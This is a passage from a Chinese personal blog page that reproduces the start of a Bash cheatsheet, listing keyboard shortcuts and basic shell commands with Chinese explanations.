<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 4.2.1">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="/lib/font-awesome/css/font-awesome.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"yoursite.com","root":"/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":false,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}}};
  </script>

  <meta property="og:type" content="website">
<meta property="og:title" content="Lcxiao&#39;s blog">
<meta property="og:url" content="http://yoursite.com/index.html">
<meta property="og:site_name" content="Lcxiao&#39;s blog">
<meta property="og:locale" content="zh_CN">
<meta property="article:author" content="lcxiao">
<meta name="twitter:card" content="summary">

<link rel="canonical" href="http://yoursite.com/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : true,
    isPost : false,
    lang   : 'zh-CN'
  };
</script>

  <title>Lcxiao's blog</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

<link rel="alternate" href="/atom.xml" title="Lcxiao's blog" type="application/atom+xml">
</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">Lcxiao's blog</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-fw fa-home"></i>首页</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/about/" rel="section"><i class="fa fa-fw fa-user"></i>关于</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-fw fa-tags"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-fw fa-th"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-fw fa-archive"></i>归档</a>

  </li>
        <li class="menu-item menu-item-lifestyle">

    <a href="/lifestyle/" rel="section"><i class="fa fa-fw fa-lifestyle"></i>LifeStyle</a>

  </li>
  </ul>
</nav>




</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content index posts-expand">
            
      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/06/26/BASH-CHEATSHEET-%E4%B8%AD%E6%96%87%E9%80%9F%E6%9F%A5%E8%A1%A8/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="lcxiao">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Lcxiao's blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
          
            <a href="/2020/06/26/BASH-CHEATSHEET-%E4%B8%AD%E6%96%87%E9%80%9F%E6%9F%A5%E8%A1%A8/" class="post-title-link" itemprop="url">BASH CHEATSHEET (中文速查表)</a>
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2020-06-27 07:36:52 / 修改时间：15:37:23" itemprop="dateCreated datePublished" datetime="2020-06-27T07:36:52+08:00">2020-06-27</time>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br><span class="line">764</span><br><span class="line">765</span><br><span class="line">766</span><br><span class="line">767</span><br><span class="line">768</span><br><span class="line">769</span><br><span class="line">770</span><br><span class="line">771</span><br><span class="line">772</span><br><span class="line">773</span><br><span class="line">774</span><br><span class="line">775</span><br><span class="line">776</span><br><span class="line">777</span><br><span class="line">778</span><br><span class="line">779</span><br><span class="line">780</span><br><span class="line">781</span><br><span class="line">782</span><br><span class="line">783</span><br><span class="line">784</span><br><span class="line">785</span><br><span class="line">786</span><br><span class="line">787</span><br><span class="line">788</span><br><span class="line">789</span><br><span class="line">790</span><br><span class="line">791</span><br><span class="line">792</span><br><span class="line">793</span><br><span class="line">794</span><br><span class="line">795</span><br><span class="line">796</span><br><span class="line">797</span><br><span class="line">798</span><br><span class="line">799</span><br><span class="line">800</span><br><span class="line">801</span><br><span class="line">802</span><br><span class="line">803</span><br><span class="line">804</span><br><span class="line">805</span><br><span class="line">806</span><br><span class="line">807</span><br><span class="line">808</span><br><span class="line">809</span><br><span class="line">810</span><br><span class="line">811</span><br><span class="line">812</span><br><span class="line">813</span><br><span class="line">814</span><br><span class="line">815</span><br><span class="line">816</span><br><span class="line">817</span><br><span class="line">818</span><br><span class="line">819</span><br><span class="line">820</span><br><span class="line">821</span><br><span class="line">822</span><br><span class="line">823</span><br><span class="line">824</span><br><span class="line">825</span><br><span class="line">826</span><br><span class="line">827</span><br><span class="line">828</span><br><span class="line">829</span><br><span class="line">830</span><br><span class="line">831</span><br><span class="line">832</span><br><span class="line">833</span><br><span class="line">834</span><br><span class="line">835</span><br><span class="line">836</span><br><span class="line">837</span><br><span class="line">838</span><br><span class="line">839</span><br><span class="line">840</span><br><span class="line">841</span><br><span class="line">842</span><br><span class="line">843</span><br><span class="line">844</span><br><span class="line">845</span><br><span class="line">846</span><br><span class="line">847</span><br><span class="line">848</span><br><span class="line">849</span><br><span class="line">850</span><br><span class="line">851</span><br><span class="line">852</span><br><span class="line">853</span><br><span class="line">854</span><br><span class="line">855</span><br><span class="line">856</span><br><span class="line">857</span><br><span class="line">858</span><br><span class="line">859</span><br><span class="line">860</span><br><span class="line">861</span><br><span class="line">862</span><br><span class="line">863</span><br><span class="line">864</span><br><span class="line">865</span><br><span class="line">866</span><br><span class="line">867</span><br><span class="line">868</span><br><span class="line">869</span><br><span class="line">870</span><br><span class="line">871</span><br><span class="line">872</span><br><span class="line">873</span><br><span class="line">874</span><br><span class="line">875</span><br><span class="line">876</span><br><span class="line">877</span><br><span class="line">878</span><br><span class="line">879</span><br><span class="line">880</span><br><span class="line">881</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># BASH CHEATSHEET (中文速查表)  -  by skywind (created on 2018/02/14)</span></span><br><span class="line"><span class="comment"># Version: 47, Last Modified: 2019/09/24 17:58</span></span><br><span class="line"><span class="comment"># https://github.com/skywind3000/awesome-cheatsheets</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 常用快捷键（默认使用 Emacs 键位）</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">CTRL+A              <span class="comment"># 移动到行首，同 &lt;Home&gt;</span></span><br><span class="line">CTRL+B              <span class="comment"># 向后移动，同 &lt;Left&gt;</span></span><br><span class="line">CTRL+C              <span class="comment"># 结束当前命令</span></span><br><span class="line">CTRL+D              <span class="comment"># 删除光标前的字符，同 &lt;Delete&gt; ，或者没有内容时，退出会话</span></span><br><span class="line">CTRL+E              <span class="comment"># 移动到行末，同 &lt;End&gt;</span></span><br><span class="line">CTRL+F              <span class="comment"># 向前移动，同 &lt;Right&gt;</span></span><br><span class="line">CTRL+G              <span class="comment"># 退出当前编辑（比如正在 CTRL+R 搜索历史时）</span></span><br><span class="line">CTRL+H              <span class="comment"># 删除光标左边的字符，同 &lt;Backspace&gt;</span></span><br><span class="line">CTRL+K              <span class="comment"># 删除光标位置到行末的内容</span></span><br><span class="line">CTRL+L              <span class="comment"># 清屏并重新显示</span></span><br><span class="line">CTRL+N              <span class="comment"># 移动到命令历史的下一行，同 &lt;Down&gt;</span></span><br><span class="line">CTRL+O              <span class="comment"># 类似回车，但是会显示下一行历史</span></span><br><span class="line">CTRL+P              <span class="comment"># 移动到命令历史的上一行，同 &lt;Up&gt;</span></span><br><span class="line">CTRL+R              <span class="comment"># 历史命令反向搜索，使用 CTRL+G 退出搜索</span></span><br><span class="line">CTRL+S              <span class="comment"># 历史命令正向搜索，使用 CTRL+G 退出搜索</span></span><br><span class="line">CTRL+T              <span class="comment"># 交换前后两个字符</span></span><br><span class="line">CTRL+U              <span class="comment"># 删除字符到行首</span></span><br><span class="line">CTRL+V              <span class="comment"># 输入字符字面量，先按 CTRL+V 再按任意键</span></span><br><span class="line">CTRL+W              <span class="comment"># 删除光标左边的一个单词</span></span><br><span class="line">CTRL+X              <span class="comment"># 列出可能的补全</span></span><br><span class="line">CTRL+Y              <span class="comment"># 粘贴前面 CTRL+u/k/w 删除过的内容</span></span><br><span class="line">CTRL+Z              <span class="comment"># 暂停前台进程返回 bash，需要时可用 fg 将其切换回前台</span></span><br><span class="line">CTRL+_              <span class="comment"># 撤销（undo），有的终端将 CTRL+_ 映射为 CTRL+/ 或 CTRL+7</span></span><br><span class="line"></span><br><span class="line">ALT+b               <span class="comment"># 向后（左边）移动一个单词</span></span><br><span class="line">ALT+d               <span class="comment"># 删除光标后（右边）一个单词</span></span><br><span class="line">ALT+f               <span class="comment"># 向前（右边）移动一个单词</span></span><br><span class="line">ALT+t               <span class="comment"># 交换字符</span></span><br><span class="line">ALT+BACKSPACE       <span class="comment"># 删除光标前面一个单词，类似 CTRL+W，但不影响剪贴板</span></span><br><span class="line"></span><br><span class="line">CTRL+X CTRL+X       <span class="comment"># 连续按两次 CTRL+X，光标在当前位置和行首来回跳转 </span></span><br><span class="line">CTRL+X CTRL+E       <span class="comment"># 用你指定的编辑器，编辑当前命令</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># BASH 基本操作</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">exit</span>                <span class="comment"># 退出当前登陆</span></span><br><span class="line">env                 <span class="comment"># 显示环境变量</span></span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$SHELL</span>         <span class="comment"># 显示你在使用什么 SHELL</span></span><br><span class="line"></span><br><span class="line">bash                <span class="comment"># 使用 bash，用 exit 返回</span></span><br><span class="line"><span class="built_in">which</span> bash          <span class="comment"># 搜索 $PATH，查找哪个程序对应命令 bash</span></span><br><span class="line">whereis bash        <span class="comment"># 搜索可执行，头文件和帮助信息的位置，使用系统内建数据库</span></span><br><span class="line">whatis bash         <span class="comment"># 查看某个命令的解释，一句话告诉你这是干什么的</span></span><br><span class="line"></span><br><span class="line">clear               <span class="comment"># 清初屏幕内容</span></span><br><span class="line">reset               <span class="comment"># 重置终端（当你不小心 cat 了一个二进制，终端状态乱掉时使用）</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span 